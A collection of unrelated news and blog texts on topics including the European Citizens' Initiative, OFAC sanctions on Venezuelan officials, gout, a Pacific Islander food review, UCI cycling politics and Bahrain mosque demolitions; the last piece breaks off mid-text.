-The European Citizens’ Initiative was introduced with the Treaty of Lisbon with the aim to improve and expand participation in European Union policy-making. Sergiu Gherghina and Adriana Groh argue that its potential is being hampered by poor citizen knowledge of the initiative, and multiple design flaws.  Introduced in April 2012 as the world’s first element of transnational participatory democracy, the European Citizen’s Initiative (ECI) aims to stimulate public participation, to provide a channel for communication between citizens and institutions of the European Union (EU), and to bring citizens closer to the European project. With the ECI citizens can make a proposal on the European Commission’s agenda. To support the initiative at least one million signatures have to be collected in at least 7 of the current 28 EU Member States.  The Commission has to react to this initiative but is not committed to take further action. While the ECI opens the floor to a bottom-up involvement in the EU decision-making process, many people do not know about the ECI and the opportunities it provides. More important, even those who know about the ECI are not eager to use it. This is somewhat peculiar especially at the EU level that was often criticized for its distant towards citizens. One might expect that as soon as people become aware about opportunities for involvement, they may be willing to take advantage of them.  A web survey conducted on 457 respondents from Germany (240) and the UK (211) in November 2014-January 2015 revealed that when it comes to the ECI, many citizens do not wish to take action. The survey was not conducted on a representative probability sample and thus results cannot be generalized to the entire population. However, they remain illustrative and quite important in the context of a heavy presence among the respondents of young and highly educated persons; these are the usual suspects to hear about the ECI due to their exposure to information. In spite of these, only one third of respondents (36% in Germany and 31% in the UK) have heard about the ECI three years after its implementation. Since the survey aimed to capture also the willingness to use the ECI, all those respondents who were not familiar with this tool were provided with a short text that outlined its basic features.  All respondents were then asked whether they would use the ECI and only 10% in Germany and 26% in the UK answered positively. In spite of similarly low levels of knowledge about the EU, in the UK there are three times more respondents willing to use the ECI than in Germany. At a glance this observation is counter-intuitive since the level of Euroscepticism in the UK is considerably higher than in Germany and the interest towards EU politics is arguably lower. A close look may provide an alternative interpretation in which the ECI could serve as an instrument to diminish existing problems and to adjust for the right decisions. Along these lines, the ECI could be also used to hinder EU decision-making processes rather than to support it. Somewhat more surprising is the fact that out of those who declared that they know what the ECI is only 6% in Germany and 20% in the UK declared that they are willing to use it in the future. Consequently, knowledge about the ECI is not associated to further action.  One explanation for this result is that citizens may not see the ECI as an effective instrument. So far it had a low rate of success and very few initiatives gained enough support to get proposed to the Commission. Only three initiatives reached the threshold of one million signatures and none of them ended up in legislation or policies. In essence, the ECI does not appear to deliver the promised involvement and thus citizens do not see the benefit of using it. In this sense, the more people know about it, the more likely they would know about its limitations and thus are demotivated to use it. Another possible explanation is the relatively poor advertisement.  In this case although people heard about the ECI the absence of in-depth knowledge about potential advantages does not trigger an interest to use it. Such an attitude can be seen in a positive light because citizens are not eager to use a tool about which they do not have detailed information. With these mechanisms in mind, there is more pressure on the EU institutions to improve the functioning and visibility of the ECI if they want to perform its initial functions (e.g. addressing a part of the democratic deficit, bringing citizens in).  Existing research based has shown that many European citizens strive for better representation in the EU. One way to go about it is to give them a voice in the decision-making process and the ECI aims, in theory, to provide such means. However, its design flaws, limited impact, and poor visibility are likely to keep citizens away: they have little incentives to learn about the ECI and are not willing to use it. In the particular case of the survey conducted in Germany and the UK, even a very small share among those who knew about the ECI is willing to take action. This raises question marks about how meaningful and ‘useworthy’ such an instrument is in its current form.  —  Note: This post represents the views of the authors, and does not give the position of Democratic Audit or the London School of Economics. Please read our comments policy before commenting.  —  Sergiu Gherghina is a Post-Doctoral Research Fellow at the Institute of Political Science, Goethe University Frankfurt, email: gherghina@soz.uni-frankfurt.de  Adriana Groh holds a BA in Political Science and Sociology from Goethe University Frankfurt. Her research interests lie in European politics and the relationships between citizens and institutions.  Similar Posts
-LONDON — In the days since Saudi Arabia inflamed tensions with Iran by executing 47 people, including a Shiite cleric, European observers have been quick to condemn the action, reflecting broader concern across the Continent about Saudi policy and its role in the tumult rolling through the Middle East.  Opposition in Europe to the death penalty — and harsh corporal punishment, including the flogging of a Saudi blogger who has become something of a cause célèbre in Europe — is just one element of the criticism of the Saudi monarchy. Even as European governments continue to view Saudi Arabia as a vital if problematic stabilizing force in the region, as well as a rich market for European arms and other products, European opinion has grown increasingly critical of Saudi support and financing for Wahhabist and Salafist preachers who have contributed to the Sunni extremist ideology that has fueled Al Qaeda and the Islamic State.  In addition, the European Union and six major world powers reached a deal in Vienna over the summer to contain Iran’s nuclear program, and Iran is seen as essential to ending the five-year-old civil war in Syria, which has fueled a surge of migrants to the Continent, the highest number since World War II.  So for many Europeans, Iran — long a pariah because of its anti-Western rhetoric and its nuclear program — has suddenly become, at least in comparison with Saudi Arabia, an object of sympathy.
-Few of Barack Obama's celebrity supporters at the 2008 US presidential election were as committed to his cause as the Oscar-winning actor Matt Damon. Rather than merely support Mr Obama in an online video, Damon, one of Hollywood's highest-profile liberal activists, campaigned for the Democratic nominee in Florida. Not content with that, he provided one of the most cutting insults of the campaign when he described the Republican vice-presidential nominee Sarah Palin as "really terrifying... like something out of a bad Disney movie".  Damon, 40, star of the Bourne spy trilogy and two new films, The Adjustment Bureau and True Grit, is scrupulously polite and mild-mannered when we meet in a Manhattan hotel. But laying bare his disenchantment with the Obama administration, he doesn't hide how let down he feels. President Obama's record on the economy particularly rankles. "I think he's rolled over to Wall Street completely. The economy has huge problems. We still have all these banks that are too big to fail. They're bigger and making more money than ever. Unemployment at 10 per cent? It's terrible."  What has proved to be a challenging time in office for President Obama culminated in significant Democratic reversals to the Republicans at last November's mid-term elections. Many of his star backers have either kept quiet about politics or, as in the case of George Clooney, Damon's close friend and co-star in the Ocean's trilogy, remained steadfastly loyal. Not Damon. He is upset that Mr Obama, who promised to "spread the wealth around", has extended the Bush tax cuts and that the inequality gap has widened.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  "They had a chance that they don't have any more to stand up for things," he says. "They've probably squandered that at this point. They'll probably just make whatever deals they can to try to get elected again."  Damon appears so disillusioned that, playing devil's advocate, I ask whether he is considering voting Republican. "Good God, no! I just got a 3 per cent tax cut. Do you think I'm going to start a small business with that money? You're out of your mind if you think so. I'm going to put it in the bank. So is every other guy that makes the kind of money I make. I don't think that's what's best for the country. I think a stronger middle class makes for a stronger country."  As well as the economy, Mr Obama's record on education repels him. "They have to get people who actually know about educating kids in positions of power. Now they're trying to get business people to come and manage schools like they're factories. It's not going to work."  Damon says that he's excited to be playing a politician for the first time in The Adjustment Bureau, a sci-fi romance. But he has no intention of seeking office. "There's probably a problem with somebody who wants to be a politician in the first place."  That said, he does admire Bill Clinton. Damon based his portrayal of LaBoeuf, the loquacious ranger in True Grit, on the former president. "There's a little bit of Clinton's charm thrown in. I could listen to him talk forever."  A 2007 Forbes magazine study, linking actors' salaries to box office revenue, found Damon to be Hollywood's most profitable actor, but the most extraordinary thing about him in person is how ordinary he is. He brushes aside an attempt by a publicist to serve him coffee, insisting on pouring it himself. Instead of a celebrity actress or model spouse, he is married to Luciana Barroso whom he met while she was bartending in Miami. They live in New York with their four children.  How the big names turned against the President  Robert Redford  Actor and director  "I believe he's a really good person. He's smart. And he does represent what the country needs most now, which is change."  July 2008 "President Obama has certainly done more than any other president to advance clean energy, yet he never seemed to roll up his sleeves, bring lawmakers to the table and work to rally the American public behind it."  July 2010  Angelina Jolie  Actress  "Obama is fighting for international justice, he wants to intervene militarily in genocides abroad, and he wants to close down Guantanamo Bay."  November 2008  "How is Obama's approach to Sudan an evolution of justice? And when the administration says it intends to work to 'improve the lives of the people of Darfur', I would like to know what that means, besides the point that their lives could hardly get worse."  December 2009  Maria Shriver  Journalist  "He is about empowering women, African Americans, Latinos, older people, young people. He's about empowering all of us."  February 2008  "While I am confident that Obama never intended to offend anyone [with a joke about the Special Olympics], the response his comments have caused... demonstrates the need to continue to educate the non-disabled community."  March 2009  Spike Lee  Film director  "Everything's going to be affected by this seismic change in the universe."  June 2008  "Before this [Gulf of Mexico] catastrophe, our President was in favour of offshore drilling. And when this thing happened, he backtracked real quick."  August 2010  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Page Content  Washington – Today, the U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) designated ten current or former Venezuelan government officials pursuant to Executive Order (E.O.) 13692. These individuals are associated with undermining electoral processes, media censorship, or corruption in government-administered food programs in Venezuela. This designation follows October 15, 2017 state elections in Venezuela, which were marked by numerous irregularities that strongly suggest fraud helped the ruling party unexpectedly win a majority of governorships.  Despite calls for an independent audit of the election results, the Venezuelan government proceeded to swear in the winning candidates through an oath of office before the illegitimate Constituent Assembly (Asamblea Constituyente or AC), further illustrating the authoritarian nature of the Maduro regime. In addition, the environment in which these elections were held – including censorship, the abuse of state media, and rampant corruption extending even to the distribution of food to Venezuela's starving population – raises questions concerning the freedom and fairness of the electoral process.  "As the Venezuelan government continues to disregard the will of its people, our message remains clear: the United States will not stand aside while the Maduro regime continues to destroy democratic order and prosperity in Venezuela," said Secretary of the Treasury Steven T. Mnuchin. "We will maintain our vigorous efforts to sanction Venezuelan government officials who are complicit in Maduro's attempts to undermine democracy, violate human rights, inhibit the freedom of expression or peaceful assembly, or engage in public corruption, unless they break from Maduro's dictatorial regime."  Today's designations consist of the following ten current or former officials of the Government of Venezuela. As a result of today's actions, all assets of these individuals subject to U.S. jurisdiction are frozen, and U.S. persons are generally prohibited from dealing with them.  Sandra Oblitas Ruzza is the Vice President and a Rector of Venezuela's National Electoral Council (CNE) and the President of the Civil and Electoral Registry Commission maintained by the CNE. Oblitas Ruzza announced the relocation of polling stations only four days before the election. This activity disrupted the elections, as voters arrived and found that their polling stations had been moved.  is the Vice President and a Rector of Venezuela's National Electoral Council (CNE) and the President of the Civil and Electoral Registry Commission maintained by the CNE. Oblitas Ruzza announced the relocation of polling stations only four days before the election. This activity disrupted the elections, as voters arrived and found that their polling stations had been moved. Socorro Elizabeth Hernandez De Hernandez is a CNE Rector and a member of Venezuela's National Electoral Board. Hernandez de Hernandez was involved in the changes that were made to polling station locations in the days prior to the elections.  is a CNE Rector and a member of Venezuela's National Electoral Board. Hernandez de Hernandez was involved in the changes that were made to polling station locations in the days prior to the elections. Carlos Enrique Quintero Cuevas is an Alternate Rector of the CNE, and a member of Venezuela's National Electoral Board.  is an Alternate Rector of the CNE, and a member of Venezuela's National Electoral Board. Elvis Eduardo Hidrobo Amoroso is the Second Vice President of Venezuela's AC and was previously the First Vice President of the AC. Prior to joining the AC, Hidrobo Amoroso was the Director General of Legal Consulting of the Ministry of the Office of the Presidency, and he is also a former National Assembly deputy for Aragua state. Hidrobo Amoroso has publicly condemned an opposition governor-elect who refused to take the oath of office before the illegitimate AC.  is the Second Vice President of Venezuela's AC and was previously the First Vice President of the AC. Prior to joining the AC, Hidrobo Amoroso was the Director General of Legal Consulting of the Ministry of the Office of the Presidency, and he is also a former National Assembly deputy for Aragua state. Hidrobo Amoroso has publicly condemned an opposition governor-elect who refused to take the oath of office before the illegitimate AC. Julian Isaias Rodriguez Diaz is the Venezuelan Ambassador to Italy and was previously the Second Vice President of the AC. Rodriguez Diaz, along with Hidrobo Amoroso, signed the decree requiring the oath of office before the illegitimate AC for governors elected on October 15.  is the Venezuelan Ambassador to Italy and was previously the Second Vice President of the AC. Rodriguez Diaz, along with Hidrobo Amoroso, signed the decree requiring the oath of office before the illegitimate AC for governors elected on October 15. Ernesto Emilio Villegas Poljak is Venezuela's newly appointed Minister of Culture and the former Minister of Communication and Information, and he has also held the position of President of Venezolana De Television (VTV), a state-run television channel. Under Villegas Poljak, VTV has curtailed freedom of the press and used state control of the media to restrict the democratic electoral process.  is Venezuela's newly appointed Minister of Culture and the former Minister of Communication and Information, and he has also held the position of President of Venezolana De Television (VTV), a state-run television channel. Under Villegas Poljak, VTV has curtailed freedom of the press and used state control of the media to restrict the democratic electoral process. Jorge Elieser Marquez Monsalve is Venezuela's newly appointed Minister of the Office of the Presidency and the former Director General of the National Telecommunications Commission (CONATEL), a Venezuelan public institution. In August 2017, CONATEL removed two Colombian television channels from the air in Venezuela due to their coverage of former Venezuelan Attorney General Luisa Ortega Diaz, who fled Venezuela. In February 2017, CONATEL announced the suspension of CNN en Español from Venezuela after the network issued various reports detailing allegations against the government.  is Venezuela's newly appointed Minister of the Office of the Presidency and the former Director General of the National Telecommunications Commission (CONATEL), a Venezuelan public institution. In August 2017, CONATEL removed two Colombian television channels from the air in Venezuela due to their coverage of former Venezuelan Attorney General Luisa Ortega Diaz, who fled Venezuela. In February 2017, CONATEL announced the suspension of CNN en Español from Venezuela after the network issued various reports detailing allegations against the government. Manuel Angel Fernandez Melendez is the President of Venezuela's National Telephone Company (CANTV), and the President of Movilnet, C.A., a subsidiary of CANTV. CANTV has drastically increased censorship and blocked multiple websites from the Venezuelan public, including social media websites.  is the President of Venezuela's National Telephone Company (CANTV), and the President of Movilnet, C.A., a subsidiary of CANTV. CANTV has drastically increased censorship and blocked multiple websites from the Venezuelan public, including social media websites. Carlos Alberto Osorio Zambrano is President of Venezuela's Superior Organ of the Transport Mission. He was previously the Minister of the Office of the Presidency, the Vice President of Security and Food Sovereignty, and the Minister of Food. In 2016, Venezuela's National Assembly audit commission alleged that Osorio Zambrano was complicit in swindling the state out of up to $573 million through corruption in Venezuela's food program.  is President of Venezuela's Superior Organ of the Transport Mission. He was previously the Minister of the Office of the Presidency, the Vice President of Security and Food Sovereignty, and the Minister of Food. In 2016, Venezuela's National Assembly audit commission alleged that Osorio Zambrano was complicit in swindling the state out of up to $573 million through corruption in Venezuela's food program. Freddy Alirio Bernal Rosales is Venezuela's Minister of Urban Agriculture and heads the National Command and Control Center for Local Committees of Supply and Production (CLAP), Venezuela's government-run food distribution program. Bernal Rosales was previously designated by OFAC as a Specially Designated Narcotics Trafficker pursuant to the Foreign Narcotics Kingpin Designation Act on September 8, 2011 for acting for or on behalf of the Revolutionary Armed Forces of Colombia (FARC).  View identifying information on the individuals designated today.  View more information about Executive Order 13692.  ####
-News: Become a Champion With New Events!  Unleash your new power with the V: Champions events which focus on celebrating the true heroes of MapleStory, YOU!  To show our appreciation, we’re giving free gifts to everyone who logged into MapleStory between November 30th and January 18th! All you have to do is log in to MapleStory after the V: Champions update goes live and accept the gifts from the in-game notifier. You will receive all kinds of amazing items including Royal Hair and Face coupons, 3x EXP coupons, Selective 8 Slot Coupons, Safety Charms, New Year Coins, and more. You can even get a V Flame Chair!  EVENT ENDS FEBRUARY 7, 2017  Are you a Maple champion? Set world records as you play by performing goals like defeating the highest numbers of monsters, dying the most times, picking up the most items, and more. Keep playing to surpass the current record and set a new one!  Use the Maple World Records Book to keep track of who holds the current records in your world and see what you need to do to beat them! Some records are hidden and you have to solve hints to find out what they are.  Every time you become a record holder, you’ll receive rewards. Earn a special title to show that you’re the current World Record holder. As you keep collecting records, you’ll earn restorative items, Spell Traces, EXP and Drop coupons, effects, potential items, and more!  EVENT ENDS FEBRUARY 7, 2017  UNLEASH YOUR TRUE POTENTIAL AND BECOME THE ELITE MAPLE HERO  YOU ARE MEANT TO BE!
-Gout has been described by the Daily Mail as something, “usually associated with port-swilling, over-fed elderly men of the 19th century”. (1) Recent research carried out at the Boston University School of Medicine, however, has found that the incidence of gout in the US is on the rise. (2) Thus, the condition is clearly not something that only affects this stereotype.  But what actually is gout and why is the incidence of the condition increasing?  What is gout?  Gout is a rheumatic disease, which means it involves inflammation (such as redness, swelling and pain) of the joints, tendons, ligaments and so forth. (3, 4)  Philip Conaghan, Consultant Rheumatologist, Chapel Allerton Hospital, Leeds, explains what gout is, what causes it and how it can be treated. Source: NHS  The condition usually affects the base of the big toe. The toe may swell and cause severe pain in the joint. Symptoms can, however, affect any joint in the body. (5, 8)  Other commonly affected joints include:  Ankles  Knees  Fingers and small joints in the hand  Wrists  Elbows  Heels  Insteps/mid-foot (6, 7, 8)  Gout may come in so-called “attacks”. This is where the symptoms rapidly worsen in 6-24 hours and continue for around 3-10 days. (5)  Is the incidence of gout increasing?  Several researchers have suggested that gout is on the rise in the US.  Most recently, researchers at the Boston University School of Medicine have stated that the incidence of gout has risen significantly in the US over the last 20 years. (2)  The increase may have been going on much longer than this. Earlier research published in the Journal of Rheumatology compared 1995-1996 with 1977-1978 and found that there had been a significant increase over this period. (10)  This increasing trend may not, however, be universal to all countries. For example, research published in the Annals of the Rheumatic Diseases showed that the incidence of gout in the UK seemed to remain stable during the 1990s. (9)  Thus, whether the incidence of gout is increasing seems to be dependent on where you are referring to and over what timescale.  Researchers, publishing work in the Current Rheumatology Reports, did, however, generalise that “taken together, epidemiologic investigations suggest that gout frequency is on the rise worldwide”. (11)  What is responsible for this increase?  Several factors have been suggested as being responsible for the increasing incidence of gout. These include:  Dietary changes  Alcohol consumption  Medications (12)  Dietary changes and incidence of gout  Dietary changes have been suggested to be associated with the increasing incidence of gout. Specifically, consuming large amounts of certain foods have been suggested as being associated with increased risk for gout:  red meat  fructose  beer  In contrast, high levels of consumption of other substances have been suggested as being associated with lower risk of gout. These include:  Coffee  Low-fat dairy products  Vitamin C (13)  Research has been carried out on the incidence of gout and the consumption of fructose in particular. The research was published in the British Medical Journal and states that prospective data suggests that fructose consumption is strongly associated with an increased risk of gout in men. (14)  This means that consumption of sweetened soft drinks, and may even fructose rich fruit juices, may be increasing the risk of gout. The researchers also found that diet soft drinks were not associated with this risk. (14)  Alcohol consumption and incidence of gout  The association of consumption of alcohol and incidence of gout seems to be one that has been engrained in our minds for centuries, but is alcohol really responsible for the increase in the incidence of gout? (15)  According to research published in the American Journal of Medicine, alcohol consumption does trigger recurrent gout attacks. Moreover they found that even light-to-moderate consumption of alcohol can trigger recurrent gout attacks. (16)  Other researchers have found that the type of alcohol drunk also influences your risk of gout. Specifically, they found that beer drinkers are at a heightened risk of gout. In contrast, they said that spirits and wine were not as associated with risk of gout. This means that it may not be the alcohol itself that is associated with gout risk; but the other non-alcoholic components present in the drinks. (17)  Medications and incidence of gout  Certain medications have been associated with an increased risk of gout. These include:  Diuretics, which are prescribed to control high blood pressure  Beta-blockers, which are prescribed for several different conditions such as angina, atrial fibrillation and so forth  Niacin, which is prescribed to treat high cholesterol  Angiotensin converting enzyme (ACE) inhibitors, which are used to treat hypertension, heart failure and to reduce kidney damage in diabetes patients  Non-losartan angiotensin II receptor blockers (ARBs) also used to treat heart failure (18, 19, 20, 21, 22)  Overall, why is the incidence of gout increasing?  Overall, it seems like we might be able to learn something about the increasing incidence of gout from the stereotypical gout patient after all. Although sufferers may not technically be “port-swillers,” alcohol consumption does seem to be associated with the incidence of gout. Similarly, sufferers may not be described as “over-fed”; yet dietary factors also seem to play a role in the incidence of gout.
-Country: Polynesian & Pacific Islands (Guam and Samoa)  Restaurant: Polynesian Luau (Samoa) & Prubechu (Guam)  The Stew: Caramelized Potato Soup (Prubechu / Guam)  Other Food Ordered: Polynesian Luau: Boiled Taro, Banana, Mulipipi (turkey tail), Po Po Mamoe (coconut lamb), Kale Mamoe (curry lamb); Prubechu: Tuba (coconut wine) Tinaktak (coconut beef with pasta), Red Rice with pork belly and bacon, Coconut Pancakes with tuba butter  Dessert: Bonelos Aga (banana donuts)  Polynesia is an interesting destination because there are so many islands. We decided to mix and match among the only two pacific island restaurants we could find in the bay area: Prubechu which serves high-brow Guamanian cuisine, and Polynesian luau, a Samoan family-owned convenient store that also serves some home made dishes.  Even though they both represent the Pacific Island region, these two restaurants served very different cuisines. We started with Polynesian Luau were the staff were extremely warm and friendly, eager to teach me about their food and culture. After looking curiously at the food for a while (I obviously didn’t know where to begin) the lady behind the counter explained to me that instead of eating their meals with rice, potatoes, or noodles, they generally eat taro and banana. She then suggested I order a combination plate which includes the taro and banana along with three protein dishes. I gladly accepted her suggestion and ordered the turkey tail, coconut lamb, and lamb curry dishes.  I set the table for the rest of the Foxes so we could have our first taste of Polynesia. We all agreed that the food was greasy, sweet, full of coconut, and overall delicious. Full of fat, the turkey tails were different from how turkey is generally consumed in the states. They certainly had much more flavor and a completely different texture than we’re used to. It was almost hard to believe it was turkey at all.  The curry was also a bit different from the spicy curries we’re used to. Samoan curry was sweet with a hint of coconut and a hearty portion of lamb. Lamb must be a popular meat in Samoa because the coconut lamb was also cooked to perfection. In addition to the obvious ingredients, the dish was covered with spinach giving the perfect combination of sweet and savory flavors. Everything tasted delicious, especially when mixed with the mild taro and young banana.  Immediately after this opening Polynesian meal, we hopped over to the nearby Pacific island of Guam via the restaurant Prubechu. With the trendy Mission SF décor and mood lighting, the ambience was a complete 180º and the food was slightly more of an upscale version of Pacific islander cuisine.  We started with a small local drink called Tuba, or fermented coconut wine. Although it smelled quite strong, it didn’t taste at all like alcohol even though it shared a similar alcohol level as wine. After the drink we ordered a few dishes: coconut pancakes with tuba butter (made out of the same alcohol I had tasted earlier), tinaktak or coconut beef with pasta, and red rice with pork belly and bacon. None of these dishes disappointed us.  The coconut beef with pasta had a great mixture of sweet, savory, and familiar flavors. The pancakes were also familiar to us as we’ve seemed to build a pattern of ordering different varieties of savory flatbreads at most of the other restaurants we visit. The tuba butter was a nice touch, adding a Polynesian sweetness to the dish.  The red rice was more exotic for us with its amazing pork belly and bacon, cooked in a way I had never encountered before. It was thickly cut, crispy, and full of flavor.  For our soup we ordered the caramelized potato soup. This was probably one of the most beautiful dishes we’ve been served on our journey. It was delicious and full of colorful garnishes, even small flowers. It was a sweeter and more flavorful version of a typical potato soup. Finally for dessert, we ordered the bonelos aga, or deep fried bananas with (yet again) the tuba sauce. The dish was delicious, tasting mostly as one would expect. Deep fried bananas topped with powdered sugar can never disappoint me!  Overall Polynesia was a great experience and we were able to island hop from Samoa to Guam tasting the Pacific Ocean like we never had before!  Dan’s Favorite: Turkey Tail (Polynesian Luau)  Iraina’s Favorite: Bonelos Aga and Red Rice (Prubechu)  Ned’s Favorite: Coconut Lamb (Polynesian Luau)  Gabi’s Favorite: Coconut Lamb (Polynesian Luau)  Polynesian Luau, 2901 Geneva Ave, Daly City, CA 94014  Prubechu, 2847 Mission St, San Francisco, CA 94110
-THE TRADE UNION representing Ireland’s doctors has said the Government is seeking an extra year to fall into line with EU rules on working hours – and end the practice where junior doctors can work shifts of up to 80 hours.  The Irish Medical Organisation, which is currently attending talks at the Labour Relations Commission on a possible replacement for the Croke Park 2 deal, says the Government now wants to bring Ireland in line with the rules by the end of 2014.  Earlier this year, health minister James Reilly had said it was a high HSE priority to bring the rules into place by the end of 2013 – while arguing that consultant doctors would have to take pay cuts in order to allow the recruitment of new junior doctors to fill the gap.  Now, however, the IMO says it expects any revised deals on public sector pay to include a clause under which the Government would sign up to the rules by the end of 2014 – meaning it would have another 18 months to implement the directive.  The directive – which has existed in various forms since 1993, but was most recently updated in 2008 – limits an employee’s working week to a maximum of 48 hours.  The directive has yet to be imposed in Ireland, however, where non-consultant (or ‘junior’) hospital doctors regularly work up to twice as many hours per week, due to staff shortages.  Earlier this year TheJournal.ie revealed that some junior doctors were still being asked to work shifts of up to 36 hours – and regularly being rostered for 32 hours in succession.  The IMO said its talks had also reached an agreement to transfer responsibility for some tasks, such as phlebotomy, to be transferred to nurses as a way of increasing efficiency and reducing pay.  “It is important to state that no agreement has yet been reached on many of the critical issues,” it said. “However progress has been made on some important matters.”
-Cookson’s 100 Days  It might be round number from the decimal system but over the years various political administrations and managerial careers have been reviewed after just 100 days. In this spirit it was 100 days ago that Brian Cookson rode the train from Florence to Aigle to start work as UCI President. What’s happened and what’s next?  Listening to the Eurosport podcast’s review of the year, I was reminded that the election process on the day was a farce. Held in the same building where Niccolò Machiavelli once held office, at times the UCI Congress was more Franz Kafka than power politics, at one moment there was the tautological vote to decide whether they should vote on an issue. Arguably Cookson’s first act of power was standing up to say “We’ve had enough of this. I propose that we go straight to the vote between the two candidates” which delivered him the necessary 24 votes.  Cookson assumed power on the spot and in no time the gumshoes of private security agency Kroll were instructed to secure the UCI’s computer system, apparently taking Pat McQuaid’s laptop. The former President denied this, instead it seems a back-up copy was made of the UCI’s servers.  DNF  If Kroll went in, others got their marching orders. Belgian laywer Philippe Verbiest was never a UCI employee but had been retained as legal counsel and a mastermind behind tactical blunders like suing Paul Kimmage or thwarting USADA’s case against Lance Armstrong and his US Postal colleagues. Cookson needed little time to tell Verbiest his services were no longer required. Another departure was Christophe Hubschmid, the UCI Director General who helped Pat McQuaid’s awkward search for a nomination. Viewed from afar Hubschmid seemed to cross a line, bending the UCI’s Constitution to suit the incumbent rather than upholding the principles and Cookson seemed to take the same view. Less one-sided during the campaign, Devra Pitt Gétaz has also left the UCI’s communications department.  In came Martin Gibbs, Cookson’s policy director at British Cycling, as the new Director General. Tracy Gaudry was a new Vice President and every UCI Commission, jargon for committee, now includes one woman. It’s a start to balancing things but a long way to go: how about abolishing the UCI rule that states the World Championships must have six “maids of honor” to deliver the medals? Meanwhile Swiss lawyer Antonio Rigozzi has been appointed as legal councillor, an ironic choice given he worked for many a cyclist in anti-doping cases brought by the UCI; he’s an expert on sports law and arbitration but one wish for the Cookson’s term is less prominence for lawyers.  Truth and Reconciliation  Cookson’s biggest drive has been the idea of a “Truth and Reconciliation” process. The name is all wrong, conjuring thoughts of a South African process for forgiveness but any plans have to be framed by the WADA rules. For now the international anti-doping agency seems unwilling to bend its rules to suit the UCI’s agenda meaning amnesty looks no more possible tomorrow than it was yesterday, only “substantial assistance” will be considered when mitigating a ban. Think instead of the Independent Commission plan to investigate what went on in the past and we should get an update on its composition in the coming days. It’ll be useful to learn from the past – why wasn’t Armstrong disqualified in the 1999 Tour – but each passing day sees this time look less and less relevant.  Meanwhile with someone high in the UCI seeming to brief the British press about “dynamite” you wonder if there’s added motivation to get back at Pat McQuaid for the torment he created during the campaign last summer? Certainly due process doesn’t include briefing the newspapers.  Franc  Talking of payback of the monthly kind the UCI President’s salary is now public knowledge. The news release was loaded with a reference to Pat McQuaid’s salary and media reports stated Cookson would “take a pay cut”. Only since he’d never had a UCI salary before there was no cut. He’s on a headline salary of 340,000 Swiss Francs (US$375,000 / €275,000). It was a tilt at McQuaid and a sneaky way to say “this is a big number but lower than the past”. It’s a great wage but if you think it’s astronomical, note Switzerland is an enclave of high pay and high prices too, supermarket cashiers earn 48,000 Francs a year ($45,000 / €33,000) and a pizza and coke can cost you more than anywhere else in the world. The headline salary is one part of Cookson’s package, it’s traditional that he gets a house on top of the salary, something of considerable value too.  Calendar Shake-Up  As previously the President of the Road Commission in the UCI, Cookson’s a signed-up member of the plans to shake-up the calendar by 2020 so it’s hard to see much change here. However we’re still waiting to learn the fate of GCP, the UCI’s in-house race promotion arm that loses money faster than the UCI can infuse it with cash. GCP promotes the Tour of Beijing, an event that can’t get a break whether its air pollution, denying teams with Japanese sponsors or fears of contaminated meat. You sense GCP could turn a corner to make profit but will Cookson wait or give up this obvious conflict of interest? All will be revealed by the “International Development Commission”.  Independent anti-doping  An independent anti-doping effort was another campaign pledge. There’s an audit of procedures at the moment prior to creating this. But the Cycling Anti-Doping Foundation (CADF) is UCI agency already with separate legal identity. Someone once told me this was in case the UCI was taken to the cleaners, the CADF could be bankrupted but not bring down the whole governing body, an interesting theory. But the CADF was hardly independent, housed in the UCI and its most senior director was a certain P McQuaid. Cookson’s not a director and it looks like the CADF will be pushed further outside the UCI but it’s all a matter of degree, it’s likely to remain dependent on the UCI for funding but it could be operationally independent. If you see what I mean.  Transparency  President McQuaid had his strengths but dealing with the media wasn’t his best area. As a result interviews were rare and often defensive. By contrast Brian Cookson seems more relaxed in front of the cameras although the UCI’s communications, Its social media efforts look very rigid.  Reports that Greece was offered €25,000 to back Cookson in UCI presidential race. We’ve seen proof that it was indeed the case. — Orla Chennaoui (@SkyOrla) September 27, 2013  And we’ve not seen this allegation cleared up. I gather the proof was an email apparently from one of Cookson’s supporters on the UCI management committee but others have whispered about a fake email account, a possible smear attempt. It would be good to clear up.  Conclusion  Many a politician can flounder in their first 100 days, restrained by the checks and balances of democracy and caught out by their excessive campaign pledges. The UCI President is far more powerful with fewer roadblocks and Brian Cookson didn’t need to promise the earth to win the job either.  So far nothing seems to have gone wrong since September, a point to note given the UCI’s previous propensity for accidents. Since taking the train to Aigle Cookson’s launched a flotilla of audits and initiatives meaning the real decisions are postponed, sensible to review before deciding. But women’s cycling should benefit from increased representation and the goodwill resulting from change is opening doors for the sport as a whole.  Able to shape the sport, improve the UCI’s reputation all whilst being well-paid, this could be the best job in sports administration. The leadership might have changed but many of the UCI’s problems have been institutional, for example the way it handles a conflict of interest shouldn’t depend on the President or whoever they’ve appointed to run the Ethics Committee. So far so good but it’s the next 1,000 days and beyond that count.
-Image copyright Ali Alaswad Image caption The government argues that the Barbagi Mosque encroached on a safety lane and was a hazard to traffic  When an historic Shia Muslim mosque in Bahrain was bulldozed on 17 April 2011 on the orders of the government, it sent shockwaves through the island's majority Shia community.  The Amir Mohammed Mohammed Barbagi Mosque was more than 400 years old. It had a prominent location on Sheikh Salman Highway, which leads to a causeway linking Bahrain to Saudi Arabia.  The mosque was one of at least 30 religious sites, all of them Shia, which were destroyed over a two-month period at the height of anti-government uprising three years ago.  The related unrest left dozens of people dead, hundreds injured, thousands in prison and thousands more without jobs, most of them Shia.  'Violating laws'  In March 2011, troops from Saudi Arabia and other Gulf Co-operation Council (GCC) states had rolled down Sheikh Salman Highway and past the Barbagi Mosque to help the Sunni ruling family, the Al Khalifa, to restore order and crush the dissent.  It was after that intervention that the destruction of mosques began.  Image copyright Ali Alaswad Image caption The Shia community wants the mosque to be rebuilt in its original location, but the government disagrees  King Hamad put a halt to further demolitions in May 2011, a few days after US President Barack Obama publically rebuked the Bahraini authorities for using "brute force" to quell "legitimate calls for reform", warning: "Shia must never have their mosques destroyed in Bahrain."  The government had justified the demolitions by saying the religious sites were violating zoning, land-use and planning laws.  It also alleged that they were being used to store weapons, a charge for which little or no evidence was provided.  Image copyright ICD It was collective punishment - a way for the government to show it was willing to go to any lengths to stop the demands for a democratic transition in Bahrain Sheikh Maytham al-Salman, Bahrain Interfaith Centre  A 